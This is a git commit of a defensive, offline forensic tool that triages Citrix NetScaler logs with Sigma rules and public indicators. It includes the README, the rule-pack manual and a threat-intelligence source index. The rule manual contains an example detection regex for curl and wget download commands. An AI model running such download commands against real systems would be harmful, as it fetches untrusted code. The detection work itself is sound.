Initial release: offline NetScaler triage with Sigma rules and MIT license

This commit is contained in:
StasonJatham committed 2026-10-01 23:08:50 +02:00
commit 711c42b270
52 files changed
+61222

No files matched your search

+12
View File
@@ -0,0 +1,12 @@
.venv/
.runtime/
__pycache__/
*.pyc
.ruff_cache/
results/
dist/
*.egg-info/
*.log
private/
.mypy_cache/
.DS_Store
+1
View File
@@ -0,0 +1 @@
3.14.8
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 NetScaler Triage contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+149
View File
@@ -0,0 +1,149 @@
# NetScaler Triage
Offline forensic triage for Citrix NetScaler ADC and Gateway logs. Point it at a
folder or archive to find suspicious requests, public indicators, encoded
payloads, update records and related events across logs.
Original inputs are not modified. Payloads are decoded as data, never executed
or downloaded. A finding is an investigation lead, **not proof of compromise**.
## Quick start
Requires **Python 3.14 or newer**.
```sh
git clone https://tea.karlcom.de/karl/NetScaler_forensik.git
cd NetScaler_forensik
python3 -m venv .venv
source .venv/bin/activate
python -m pip install .
netscaler-triage ./logs.7z
```
On Windows PowerShell, create and activate the environment with:
```powershell
py -3.14 -m venv .venv
.venv\Scripts\Activate.ps1
python -m pip install .
netscaler-triage .\logs.7z
```
Installation may require internet access. Analysis runs offline.
## Everyday use
```sh
# Unpacked logs, an archive, or multiple appliance exports
netscaler-triage ./logs
netscaler-triage export.tar.gz
netscaler-triage ./appliance-a ./appliance-b export.zip
# Discover inputs in the current directory
netscaler-triage
# Encrypted archive: prompt for a password without displaying it
netscaler-triage export.7z --password
```
ZIP (including ZipCrypto/AES), TAR, TAR.GZ/TGZ, GZIP and 7z inputs are supported,
including nested archives within preparation limits. Unsupported formats are
reported. `--password VALUE` is also supported, but can expose the password in
shell history or process listings. Passwords are not stored in results.
The tool prints the result directory. Use `--output PATH` to choose a new one;
existing results are not overwritten. Appliance grouping is inferred from
directories; review the preparation manifest for unusual export layouts.
## Read the results
| File | Purpose |
| --- | --- |
| `summary.json` | Processing status, counts and incomplete coverage |
| `findings.jsonl` | Events, source lines, matching rules and decoding explanations |
| `IOCS.csv` | Exact SIEM search values and separate defanged display values |
| `updates.jsonl` | Installation and software-version evidence |
| `correlations.jsonl` | Related events on the same appliance; temporal candidates, not causal proof |
| `coverage.json` | Per-file coverage and errors |
| `input_manifest.json` | Original relative paths and SHA-256 checksums |
| `preparation_manifest.json` | Archive preparation and appliance grouping |
The output also includes an SQLite event index, effective configuration and
indicator/hash hit files. JSONL contains one JSON object per line. URL/Base64
decoding retains original values, transformation steps, checksums and errors.
An installer command alone does not establish successful patch completion.
## Add indicators and Sigma rules
Put your packs in a directory and validate them before scanning:
```sh
netscaler-triage rules --config ./my-rules
netscaler-triage ./logs --config ./my-rules
```
Directories load Sigma YAML, JSON, CSV and TXT recursively. Repeat `--config`
to combine packs. No Python changes are needed to add an IP, path or rule.
For example, an IOC CSV can contain:
```csv
type,value,status,source,description
ipv4,192.0.2.42,reference_only,local-review,Investigate matching events
path,/example/suspicious-file,reference_only,local-review,Check file context
```
These are synthetic examples. Use original, non-defanged values for matching.
TXT accepts one value per line; unambiguous IP addresses, SHA-256 hashes, URLs
and Unix paths are inferred. Other values remain literal strings.
Sigma is parsed with pySigma and evaluated locally using the subset documented
in [RULES.txt](RULES.txt). Unsupported features fail explicitly. Sigma metadata
does not bypass detection conditions. Rule packs are data, not executable plugins.
Defaults include 47 Sigma rules and 246 public reference indicators. Attribution
and limitations are recorded in [THREAT_INTELLIGENCE.txt](THREAT_INTELLIGENCE.txt)
and [config/threat_intel.json](config/threat_intel.json). This is a dated reference
collection, not a promise of exhaustive intelligence or zero false positives.
Keep confidential packs in `private/`, excluded from Git and release archives.
Load them explicitly. Never put customer logs or generated findings in a public
repository. Examples under [examples/](examples/) use synthetic data.
## Limits and interpretation
- Exit `0`: configured processing completed; **not** a clean-system verdict.
- Exit `2`: an error or incomplete processing; inspect `summary.json`.
- Missing years/timezones are not guessed. See [README.txt](README.txt) for time configuration.
- Binary appliance logs may need an external decoder. Decode failures can also come from ordinary text.
- Damaged inputs and regex timeouts are reported. Archive path traversal, unsafe links and exhausted quotas stop preparation.
- Processing uses one worker, incremental reads and disk-backed SQLite. There is no hard process-wide RAM/CPU quota or automatic resume.
- Default limits: 2 GiB preparation budget, 100,000 archive entries, depth 3, 1 MiB per line and 512 MiB expanded per log file. Advanced options can raise limits.
Tests were executed on macOS/ARM64. Windows and Linux instructions are provided,
but those platforms have not yet been validated in the recorded test environment.
## Help and development
```sh
netscaler-triage --help
netscaler-triage scan --help-all
netscaler-triage decode payload.txt
netscaler-triage inventory ./logs
uv sync --locked
uv run python -W error -m unittest discover -s tests
uv run mypy
uv run ruff check src tests typing_stubs
uv run ruff format --check src tests typing_stubs
uv build
```
See [README.txt](README.txt) for the detailed plain-text manual and
[VALIDATION.txt](VALIDATION.txt) for test scope and known coverage limits.
## License
Project code is licensed under the [MIT License](LICENSE.txt).
Third-party dependencies and referenced external materials retain their own
licenses. Source attribution does not imply affiliation with Citrix or the
referenced researchers, and does not relicense their original publications.
+190
View File
@@ -0,0 +1,190 @@
NETSCALER TRIAGE
Offline log triage for NetScaler ADC and Gateway.
Give it a log folder or archive. It prepares the input, searches for suspicious
patterns and public indicators, explains matching rules and decoded command text,
finds update/version records, and links related events on the same appliance.
Original files are not modified. Payloads are never executed or fetched.
INSTALL
Requires Python 3.14 or newer. From the unpacked source folder, on macOS/Linux:
python3 -m venv .venv
source .venv/bin/activate
Or on Windows PowerShell:
py -m venv .venv
.venv\Scripts\Activate.ps1
Then install the local project:
python -m pip install .
A built wheel can instead be installed with python -m pip install PATH_TO_WHEEL.
For a locked developer installation, use uv sync --locked with a suitable
installed Python interpreter. The lockfile records exact dependency versions.
Installation may need internet access; analysis itself runs offline.
START HERE
netscaler-triage logs.7z
Or use an unpacked folder:
netscaler-triage ./logs
Or run inside the folder containing your logs:
netscaler-triage
ZIP, TAR, TAR.GZ/TGZ, GZIP and 7z are detected automatically, including nested
archives. Unsupported formats are reported. Several inputs can be combined:
netscaler-triage ./appliance-a ./appliance-b another-export.zip
The result folder is created automatically and printed when the run finishes.
--output PATH chooses a new result folder. Existing results are never overwritten.
Appliance groups are inferred from folder structure; review the preparation
manifest when a combined export has an unusual layout.
For an encrypted archive, request a hidden password prompt:
netscaler-triage logs.7z --password
--password VALUE also works, but may expose the password in shell history or
process listings. The same password is used for nested archives. 7z, ZipCrypto
and AES-ZIP are supported. Passwords are not saved in results.
WHAT TO READ FIRST
summary.json tells you what was processed and whether anything was incomplete.
findings.jsonl contains selected events, original source/line references, matching
rule details, extracted indicators and safe decoding steps with explanations.
Each line is a separate JSON object. Explanations describe what command text
could do; they do not establish that it ran successfully.
IOCS.csv contains exact values for SIEM searches and a separate defanged display
value. Observed values are candidates, not an automatic blocklist.
updates.jsonl contains update/version evidence. An installer command is not by
itself proof of a completed patch. correlations.jsonl contains temporal candidates
between log files on the same appliance, not proof of causation.
Other outputs support verification:
evidence.sqlite On-disk event index
coverage.json Per-file coverage and read/matching errors
input_manifest.json Original relative paths and SHA-256 checksums
configuration.json Effective rules, references and time assumptions
indicator_hits.csv Matches against configured reference indicators
file_hash_hits.json Reference matches against original file SHA-256
preparation_manifest.json Preparation actions, groups and exclusions
inputs/ Prepared inputs when automatic preparation runs
URL/Base64 transformations retain the original value, transformation, parent
step, decoded result or error, and checksum. Binary decoded content is displayed
as hex and is not executed. Finding rule_details retain matching rule descriptions
and source metadata; custom packs can provide their own explanations.
ADD YOUR OWN RULES OR IOCS
Bundled public references are loaded automatically. They are a dated, attributed
collection, not a claim to cover every known attack. No private case addresses,
appliance identities or environment-specific assumptions are included in defaults.
References are not downloaded during a scan.
netscaler-triage ./logs --config examples/rules.yml
netscaler-triage ./logs --ioc-file indicators.txt
netscaler-triage ./logs --pattern "(?i)your_search_expression"
Repeat --config or --ioc-file to combine packs. An explicit --config directory
loads supported packs recursively in sorted relative-path order; no private or
customer directory is loaded unless you select it.
netscaler-triage ./logs --config ./my-rules
Sigma YAML is the primary rule
format, parsed with pySigma and evaluated locally with the supported subset in
RULES.txt. Unsupported features are rejected explicitly. Defaults include 47
Sigma rules and 246 deduplicated public reference indicators.
THREAT_INTELLIGENCE.txt indexes all 52 sources, uses and limitations;
config/threat_intel.json is the complete machine-readable inventory.
JSON, CSV and one reference per line in TXT remain supported. TXT infers clear
IP addresses, SHA-256 hashes, HTTP(S) URLs and absolute Unix paths; other text
stays literal. Explicit CSV/JSON types are unchanged. An exported IOCS.csv
can be loaded again. Examples contain synthetic values, not real intelligence.
Keep local case rules under private/, which is gitignored and excluded from
release builds; load them explicitly with --config private/your_rules.yml.
Private packs are never discovered or enabled automatically.
Example files are included in the source release.
Rule packs are data files. Python plugin code is not loaded from them.
TIME AND DEVICE IDENTITY
Explicit timestamps are retained. A missing year or timezone is not guessed.
For known time settings and explicit appliance names on prepared folders:
netscaler-triage scan --input ADC-A=./logs --year 2026 --timezone ADC-A=UTC
Use your actual device settings; UTC and the year above are examples only.
Ambiguous daylight-saving times remain unresolved. Time assumptions and per-file
year overrides can be supplied using --time-config; see examples/time.json.
LIMITS AND INCOMPLETE RESULTS
Exit 0 means the configured processing completed, not that the appliance is clean.
Exit 2 means an error or incomplete processing; inspect summary.json.
Invalid decoding candidates may be ordinary text, not malicious payloads.
Unknown text formats remain searchable, even if no timestamp is parsed.
Proprietary binary logs require an appropriate external decoder.
Unreadable files, damaged archives and regex timeouts are recorded while other
valid inputs continue. Path traversal, unsafe links and exhausted archive quotas
stop preparation. A controlled interruption preserves the processed database
where possible. There is no automatic resume after interruption.
A single worker reads lines incrementally. SQLite stores events and large sorts
on disk; small decoding caches are bounded. One CPU core can be busy. This is not
a hard process-wide RAM or CPU quota: archive metadata, large rule lists and file
inventories need additional memory. Allow disk space for preparation and results.
Defaults: 2 GiB preparation budget, 100,000 archive entries, nesting depth 3,
1 MiB per line and 512 MiB expanded per log file. Limits never mean a silent
successful scan. Advanced options can raise them for legitimate larger inputs.
HELP AND OPTIONAL COMMANDS
netscaler-triage --help
netscaler-triage scan --help-all
netscaler-triage extract logs.7z prepared
netscaler-triage decode payload.txt
netscaler-triage indicators text.txt
netscaler-triage inventory ./logs
Short help shows common options. Advanced help includes resource limits, time
assumptions and --no-default-patterns, which disables built-in rules and bundled
public references; explicitly supplied packs still apply.
DEVELOPMENT AND RELEASE
uv run python -W error -m unittest discover -s tests
uv run mypy
uv run ruff check src tests typing_stubs
uv run ruff format --check src tests typing_stubs
uv build
Synthetic tests cover parsing, archive safety, decoding, matching, correlations
and packaging hygiene. VALIDATION.txt records what was actually tested. Runtime
environments and analysis outputs are not release files. Source distributions
use an explicit allowlist to avoid bundling unrelated documents or case settings.
LICENSE
Project code is licensed under the MIT License; see LICENSE.txt.
Third-party dependencies and referenced external materials retain their own
licenses. The project does not relicense original external publications.
VALIDATE PACKS BEFORE A SCAN
netscaler-triage rules --config ./my-rules
This offline command loads and compiles the bundled defaults and selected packs,
then prints the Sigma rule, regex rule and explicit active indicator counts. It
does not prepare or scan logs, contact external services or create artifacts.
Use --no-default-patterns to validate only the selected files; --json gives a
machine-readable result. Invalid Sigma, unsupported rules and conflicting rule
identifiers fail validation. Syntax validation does not prove detection quality.
Directory discovery skips README.txt, LICENSE.txt and CHANGELOG.txt documents
(case-insensitive); an explicitly named TXT file still loads as references using TXT type inference.
+247
View File
@@ -0,0 +1,247 @@
RULE PACKS AND IOC LISTS
A pack is loaded with --config; repeat the option to combine packs. Matching is
offline. YAML files are genuine Sigma detection rules parsed by official pySigma.
The local evaluator supports the explicit subset below, not full Sigma semantics.
JSON, CSV and TXT remain supported as described in LEGACY JSON PACKS below.
Bundled data/public_sigma.yml provides 47 rules: 41 behavior rules and six IOC
groups containing 246 attributed public references. These are not local findings.
Use --no-default-patterns to disable bundled defaults. Private packs are opt-in;
keep them in the ignored private/ directory and load them explicitly:
netscaler-triage ./logs --config examples/rules.yml
netscaler-triage ./logs --config private/rules.yml --config private/more-rules.yml
SUPPORTED SIGMA SUBSET
examples/rules.yml is a synthetic example with a UUID and provenance. Separate
rules with ---. IDs, or titles when IDs are absent, must be unique within a pack.
Use stable unique IDs across packs. Rules supply detections, not executable code.
Required logsource product: netscaler. Optional service must equal the normalized
event kind: http_access, http_error, syslog, shell_log or unknown. Omit service to
include all kinds. Other products, categories, custom logsource attributes and
custom taxonomies are rejected. A descriptive definition adds no filtering logic.
Supported detection semantics:
Keyword lists: substring matching against raw; list entries use OR.
Field maps: fields use AND; values in a list normally use OR.
Strings: case-insensitive; * and ? are Sigma wildcards with standard literal
wildcard escaping. Field strings match the complete field value.
Modifiers: contains, startswith, endswith, re and all, including combinations
accepted by pySigma. all requires every listed value to match.
Regex: search semantics; case-sensitive unless inline flags such as (?i)
change it. The configured regex timeout applies.
Null: matches a missing or null field. Numeric/Boolean comparisons preserve
value types; integer 200 and string "200" differ.
Conditions: and, or, not, parentheses, 1 of and all of selector patterns or
them. A list of conditions is evaluated with OR.
Unsupported rules fail at loading, without silent reinterpretation. Rejected
constructs include aggregation, Sigma correlation rules, filters, collection
actions, timeframe, backend pipelines, placeholders and modifiers such as cidr,
exists, base64, fieldref or cased. This evaluator does not generate SIEM queries.
The separate event correlation stage does not implement Sigma correlation rules.
NORMALIZED FIELDS AND DECODED VIEWS
Parsed fields are flattened, then top-level event metadata is overlaid. Names are
case-insensitive. Common fields, available only when present in the input, are:
raw, kind, appliance, source, line, timestamp
source_ip, uri, user_agent, method, protocol, status, bytes, referer
session_id, transaction_id, request_id, context, return_code, command_status
sha256
source is the relative log filename. src/client_ip alias source_ip; _raw/message
alias raw. HTTP status is an integer. sha256 is a list of hashes of successfully
transformed payload bytes; it is not evidence of execution. List-valued string
fields match if any item matches. Other field names can be matched when supplied
by a caller, but are not automatically extracted. Decoded SHA-1 and MD5 fields
are not calculated by the engine. Missing fields are not invented.
Sigma is evaluated once per event against its original view and available
successfully decoded text views. Decoded views replace raw only, never uri,
user_agent, source_ip or other structured fields. A rule can therefore combine
decoded content with the original request context and explicit exclusions.
rule_details preserves ID/name/title/description/references/level/falsepositives,
source and basis. raw identifies the original event view, including structured
fields. For decoded:N, sigma_decoded_views[N] identifies the corresponding entry
in the event's decoding list. Structured-only matches are not attributed to
unrelated decoded views. A matching view is not evidence that a payload ran.
Optional custom indicators metadata contains type/value/status plus provenance.
It is retained only as provenance, not as unconditional IOC checks. To activate
an independent indicator, provide an explicit CSV, TXT or JSON indicator pack.
This prevents catalog values from bypassing a Sigma condition. Catalog arrays
are excluded from each hit's custom_attributes to avoid repeated large exports.
Metadata does not replace the actual Sigma detection/condition definition.
LIMITS AND COVERAGE
Per YAML file: 4 MiB UTF-8 input, at most 256 documents, bounded token count,
32 nesting levels and 10,000 nodes per compiled condition. Anchors, aliases,
custom YAML tags and duplicate mapping keys are rejected. Unsupported rules
cause a startup error. Per event: at most 64 decoded views and 1,048,576 characters
per evaluated string field or decoded view, in addition to ingestion byte limits.
Referenced list fields are limited to 10,000 elements. Unreferenced metadata is
not evaluated. Sigma IDs must be unique across all selected packs.
Timeouts and SigmaEvaluationLimit preserve the affected event, record incomplete
matching, mark coverage partial and allow later records to be processed. They are
neither negative findings nor proof of attacks.
Custom metadata repeated per hit is limited to 16 KiB serialized JSON. Each rule
may provide at most 10,000 catalog rows, each limited to 128 KiB; type/value strings
are limited to 65,536 characters. Pack-size limits also apply.
Sigma references:
https://sigmahq.io/sigma-specification/specification/sigma-rules-specification.html
https://sigmahq-pysigma.readthedocs.io/en/latest/reference/collection.html
LEGACY JSON PACKS
A UTF-8 JSON pack may contain patterns and indicators. Bundled defaults still
apply unless explicitly disabled. The following address is documentation-only.
Minimal example:
{
"patterns": [
{
"id": "custom_download_command",
"pattern": "(?i)\\b(?:curl|wget)\\s+https?://",
"description": "A download command appears in the log. Verify its arguments, origin and whether it executed."
}
],
"indicators": [
{"type": "ipv4", "value": "192.0.2.42", "status": "reference_only"}
]
}
The address is a documentation example, not an attack indicator.
A complete synthetic pack is available in examples/rules.json.
PATTERNS
patterns is a list of objects with pattern (a regex) and an optional stable id.
description explains why a match may matter without claiming an attack succeeded.
source/source_id/sources can identify provenance. Use distinct IDs across packs.
Matched rule metadata is retained in rule_details, including matches after safe
decoding. Keep rules specific: broad matches on ordinary IPs or login messages
can create large, low-value result sets. Inline flags such as (?i) control case.
Regex timeouts mean incomplete checks, not negative results.
INDICATORS
indicators is a list with type, value and optional status and source.
Common types: ipv4, ipv6, domain, url, path, sha256 and literal. Use original values,
not defanged display strings. IP boundaries are checked. SHA-256 values are checked
against original file bytes and successfully decoded bytes, as well as log text.
Other hash-shaped text can be extracted; file hashing computes SHA-256 only.
Status records context; it does not suppress the source event:
reference_only Published or supplied reference, not a local verdict
authorized_test An explicitly identified permitted test
context_only Environment/context value, not automatically hostile
Document sources in a top-level sources list with id, title and url. Preserve
dates, attribution and uncertainty. A reference match is a lead; establish its
local role from the actual log fields.
OTHER INPUT FORMATS
TXT: one reference per line; blank lines and lines starting with # are ignored.
Unambiguous IPv4/IPv6 addresses, 64-digit hexadecimal SHA-256 hashes, HTTP(S)
URLs and whitespace-free absolute Unix paths receive their matching type. IP
boundaries then prevent 192.0.2.1 from matching 192.0.2.10. Other text, including
multiword commands, stays literal. CSV/JSON explicit types remain unchanged.
CSV: type,value,status, or indicator_type,indicator,status. The tool's IOCS.csv
output can be used directly. A legacy ip column is also accepted.
Legacy rule CSV: ID,Muster, where Muster contains the regex expression.
JSON: the pack object above, or a list of pattern objects.
TIME CONFIGURATION
--time-config accepts JSON with year, timezones and file_years. timezones maps
explicit appliance labels to IANA timezones. file_years maps APPLIANCE/relative/log
to a year when a specific yearless file needs an override. Example:
{
"year": 2026,
"timezones": {"ADC-A": "UTC"},
"file_years": {"ADC-A/messages.previous": 2025}
}
These values are examples, not inferred settings. Explicit timestamps take
precedence. Choose assumptions based on the actual evidence.
PUBLIC INTELLIGENCE PROVENANCE
The bundled threat_intel.json is the canonical inventory. Indicators are unique
by type and normalized value, with stable IDs. source_ids/source_urls enumerate
all reporting sources; observations retain each source's role, confidence, dates,
original status and any MISP direction/to_ids conflicts. The source field can
contain multiple source IDs after deduplication. Reference-only matching does
not turn shared infrastructure, scanner markers or historical IOCs into confirmed
attackers. context_only and observation_category retain those distinctions.
Sources list retrieval attempts, requested URLs, access limitations and linked
indicator/rule IDs. Excluded observables and external whole-file YARA libraries
remain inventoried with reasons, without claiming equivalent Sigma coverage.
THREAT_INTELLIGENCE.txt provides the readable index.
Percent decoding, Base64 (including padding-free candidates) and nested layers
feed both IOC and Sigma matching. Raw records remain unchanged. The candidate
gate uses encoding evidence; arbitrary obfuscation is not exhaustively decoded.
A plain indicator match, a decoded byte hash and a source-file hash are different
evidence types. Do not interpret a textual pathname as proof that a file exists.
ADDING RULES WITHOUT CHANGING CODE
Create a directory such as my-rules and put Sigma YAML, JSON, CSV or TXT packs
inside it. Load it explicitly:
netscaler-triage ./logs --config ./my-rules
Repeat --config for additional files or directories. Directory discovery is
recursive and sorted by relative filename; repeated identical files load once.
Hidden entries, __pycache__ and node_modules directories are ignored. Symlinks
are rejected. Unsupported file extensions inside a directory are ignored.
An empty directory or a malformed supported pack produces a named error.
Discovery is bounded to 64 files, 4096 directories and 32 nested levels. Each
Sigma file is limited to 4 MiB; other formats to 16 MiB; the total is 32 MiB.
No customer or private pack is activated automatically.
For exact IP or path references, create my-rules/local.csv:
type,value,status,source,description
ipv4,192.0.2.9,authorized_test,local,Approved external test
path,/example/suspicious-file,reference_only,local,Investigate file context
The addresses and paths above are synthetic examples. Extra CSV columns such as
source, description, confidence and evidence are preserved verbatim. This also
applies to legacy ID,Muster regex CSV files. Use JSON when metadata requires
structured lists or nested objects. Keep reference values in their original
form rather than defanged display form; matching does not establish compromise.
VALIDATE PACKS BEFORE A SCAN
netscaler-triage rules --config ./my-rules
This offline command loads and compiles the bundled defaults and selected packs,
then prints the Sigma rule, regex rule and explicit active indicator counts. It
does not prepare or scan logs, contact external services or create artifacts.
Use --no-default-patterns to validate only the selected files; --json gives a
machine-readable result. Invalid Sigma, unsupported rules and conflicting rule
identifiers fail validation. Syntax validation does not prove detection quality.
Directory discovery skips README.txt, LICENSE.txt and CHANGELOG.txt documents
(case-insensitive); an explicitly named TXT file still loads as references using TXT type inference.
TYPED INDICATOR MATCHING
IP addresses and hashes require complete token boundaries. Domain indicators
also match subdomains, but not concatenated names or unrelated suffixes. Paths
are case-sensitive; a trailing slash denotes a directory prefix. URL schemes
and authorities are case-insensitive, while paths and queries are exact.
Typed indicators prevent incidental substrings from becoming matches. Use an
explicit regex rule when different matching semantics are needed. A reference
match or an authentication failure is not automatically malicious; preserve
status and provenance and evaluate the surrounding event.
+476
View File
@@ -0,0 +1,476 @@
PUBLIC THREAT INTELLIGENCE INVENTORY
Review date: 2026-10-01
52 source records; all 37 distinct URLs supplied for this review checked.
246 unique indicator values; 41 behavior patterns; 47 Sigma rules.
CANONICAL DATA AND TRACEABILITY
config/threat_intel.json is the complete inventory in the source release.
The installed package includes identical data/threat_intel.json and public_sigma.yml.
Each IOC has a stable ID, literal type/value and all source observations. Those
observations retain reporting context, confidence, source dates and roles. MISP
attribute types, comments and to_ids flags are retained even when they conflict.
Each source links to the indicator IDs and Sigma rule IDs derived from it.
Raw articles, downloaded source files and private evidence are not release data.
The exact requested URLs and subsequent alternate/raw URLs are distinct records.
HTTP 200 alone does not mean content was accessible: the VirusTotal collection
returned an application shell. The GreyNoise live tag was blocked. Neither was
used to infer additional collection membership. The original Deyda script URL
returned 404; the current filename was discovered from its repository tree.
Citrix/ACSC direct retrieval errors are recorded alongside successful rendered
page reviews. Undisclosed Citrix/Nextron matching logic is not reproduced.
MATCHING AND INTERPRETATION
Public references load automatically. Private packs remain explicitly opt-in
under gitignored private/ and are excluded from release archives.
URL and Base64 decoding, including nested/padding-free candidates, feeds the
same Sigma/IOC matches. Raw events, transformation chains and hash evidence
remain available. Encoding detection is bounded and heuristic, not exhaustive.
Shared WARP infrastructure, scanner/test markers, historical 2025 indicators
and tentative C2 associations keep their original qualifications. These are
investigation leads, not automatic firewall blocks or proof of compromise.
The legitimate customsnmpd path is inventoried but excluded from the standalone
Sigma path selector; a literal catalog occurrence remains contextual evidence.
Known-good baseline hashes are excluded from threat matching.
The 683 generic webshell YARA rules referenced by the historical NCSC tools are
indexed in external_rule_sets, with their original names and source hashes.
They require their original whole-file/byte/offset semantics or concern other
platforms. They are not advertised as equivalent line-oriented Sigma rules.
A separate historical core-memory ROP signature likewise needs binary evidence.
Generic PHP and configuration-text hunting adaptations are labeled separately.
No malware payload URL was contacted and no fetched scanner or PoC was executed.
SOURCE INDEX
cisa-direct
CISA: Critical Zero-Day Vulnerabilities Exploited in Citrix NetScaler ADC, Gateway
https://www.cisa.gov/news-events/alerts/2026/09/27/critical-zero-day-vulnerabilities-exploited-citrix-netscaler-adc-gateway
Published: 2026-09-27; retrieved: 2026-10-01
Requested URL: False; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Direct retrieval unavailable; the official mailing-list publication was reviewed as an alternative source.
cisa
CISA bulletin distributed through GovDelivery
https://content.govdelivery.com/accounts/USDHSCISA/bulletins/42cc465
Published: 2026-09-27; retrieved: 2026-10-01
Requested URL: False; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Full text reviewed.
mandiant
Mandiant: Defending Against Active Exploitation of Citrix NetScaler ADC and Gateway Appliances
https://cloud.google.com/blog/topics/threat-intelligence/defending-against-active-exploitation-of-citrix-netscaler-adc-and-gateway-appliances
Published: 2026-09-29; retrieved: 2026-10-01
Requested URL: True; detection use: True
Linked IOC IDs: 12; linked Sigma rule IDs: 11
Direct HTTP article verified.
watchtowr
watchTowr command injection analysis
https://labs.watchtowr.com/oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771/
Published: 2026-09-28; retrieved: 2026-10-01
Requested URL: True; detection use: True
Linked IOC IDs: 0; linked Sigma rule IDs: 2
Read as technical evidence only; no PoC execution. Delayed processing means request status alone is inconclusive.
levelblue
LevelBlue: Observed Exploitation Artifacts and Hunt Indicators
https://www.levelblue.com/blogs/spiderlabs-blog/citrix-netscaler-cve-2026-88771-observed-exploitation-artifacts-and-hunt-indicators
Published: 2026-09-30; retrieved: 2026-10-01
Requested URL: True; detection use: True
Linked IOC IDs: 24; linked Sigma rule IDs: 3
Direct HTTP article verified.
truesec
Truesec: Multiple Critical Vulnerabilities
https://www.truesec.com/hub/blog/multiple-critical-vulnerabilities-in-citrix-netscaler-adc-and-netscaler-gateway
Published: 2026-09-28; retrieved: 2026-10-01
Requested URL: True; detection use: True
Linked IOC IDs: 3; linked Sigma rule IDs: 0
Direct HTTP403; article independently readable through web retrieval, including detection section.
virustotal-mandiant
virustotal-mandiant
https://www.virustotal.com/gui/collection/c794f2e5d051c46cd2ff5e429128d7e68954ba78e66735fc69362ec726e63ee4
Published: not established; retrieved: 2026-10-01T19:36:45.064779+00:00
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
HTTP200 JavaScript application shell; web retrieval failed. Collection contents not verified; registered access needed. No indicators inferred from collection.
cert-eu
cert-eu
https://cert.europa.eu/blog/taking-execute-logging-a-bit-too-literally-cve-2026-88771
Published: 2026-09-28T19:30:00+02:00; retrieved: 2026-10-01T19:36:45.064857+00:00
Requested URL: True; detection use: True
Linked IOC IDs: 0; linked Sigma rule IDs: 2
Direct HTTP403; article independently readable through web retrieval, including detection section.
unit42
unit42
https://unit42.paloaltonetworks.com/netscaler-zero-days-exploited/
Published: 2026-09-30; retrieved: 2026-10-01T19:36:45.064965+00:00
Requested URL: True; detection use: True
Linked IOC IDs: 31; linked Sigma rule IDs: 4
Direct HTTP article verified. Page states updates Sep27 and Sep30 15:00 PT; current HTML published metadata Sep30, modification 2026-09-30T22:15:51Z.
greynoise
greynoise
https://www.greynoise.io/blog/swarming-against-citrix-0-day-exploitation
Published: 2026-09-28; retrieved: 2026-10-01T19:36:45.065290+00:00
Requested URL: True; detection use: True
Linked IOC IDs: 4; linked Sigma rule IDs: 0
Direct HTTP article verified.
greynoise-tag
greynoise-tag
https://viz.greynoise.io/tag/citrix-netscaler-cve-2026-88771-login-command-injection-rce-attempt
Published: not established; retrieved: 2026-10-01T19:36:45.276736+00:00
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
HTTP403 and web retrieval failed. Dynamic tag membership unavailable; no IP inferred from tag.
esentire
esentire
https://www.esentire.com/security-advisories/update-ongoing-exploitation-of-citrix-netscaler-adc-and-netscaler-gateway-vulnerabilities-cve-2026-88771-cve-2026-88772
Published: 2026-09-29; retrieved: 2026-10-01T19:36:45.424617+00:00
Requested URL: True; detection use: True
Linked IOC IDs: 16; linked Sigma rule IDs: 1
Direct HTTP article verified.
beazley
beazley
https://labs.beazley.security/advisories/BSL-A1216
Published: 2026-09-26; retrieved: 2026-10-01T19:36:45.510941+00:00
Requested URL: True; detection use: True
Linked IOC IDs: 10; linked Sigma rule IDs: 0
Direct HTTP article verified. Updated Sep29; secondary consolidation, attribution to originating reporters preserved.
ifin-event
ifin-event
https://misp.ifin.network/feed/63670851-a19e-4fc4-8fe5-c89bebc8e921.json
Published: 2026-09-28; retrieved: 2026-10-01T19:44:37.039091+00:00
Requested URL: True; detection use: True
Linked IOC IDs: 68; linked Sigma rule IDs: 1
Direct HTTP retrieval successful; attacker resources were not requested.
ifin-manifest
ifin-manifest
https://misp.ifin.network/feed/manifest.json
Published: not established; retrieved: 2026-10-01T19:44:37.039380+00:00
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Direct HTTP retrieval successful; attacker resources were not requested.
ifin-thread
ifin-thread
https://ifin.network/t/multiple-citrix-netscaler-0-days-exploited/867
Published: not established; retrieved: 2026-10-01T19:44:37.039382+00:00
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Direct HTTP retrieval successful; attacker resources were not requested.
elastic-toml
elastic-toml
https://raw.githubusercontent.com/elastic/detection-rules/main/rules/network/initial_access_netscaler_log_poisoning_command_injection.toml
Published: 2026-09-28; retrieved: 2026-10-01T19:44:37.039384+00:00
Requested URL: False; detection use: True
Linked IOC IDs: 0; linked Sigma rule IDs: 1
Direct HTTP retrieval successful; attacker resources were not requested.
rapid7
rapid7
https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772/
Published: 2026-09-28; retrieved: 2026-10-01T19:44:37.039385+00:00
Requested URL: True; detection use: True
Linked IOC IDs: 4; linked Sigma rule IDs: 1
Direct HTTP retrieval successful; attacker resources were not requested.
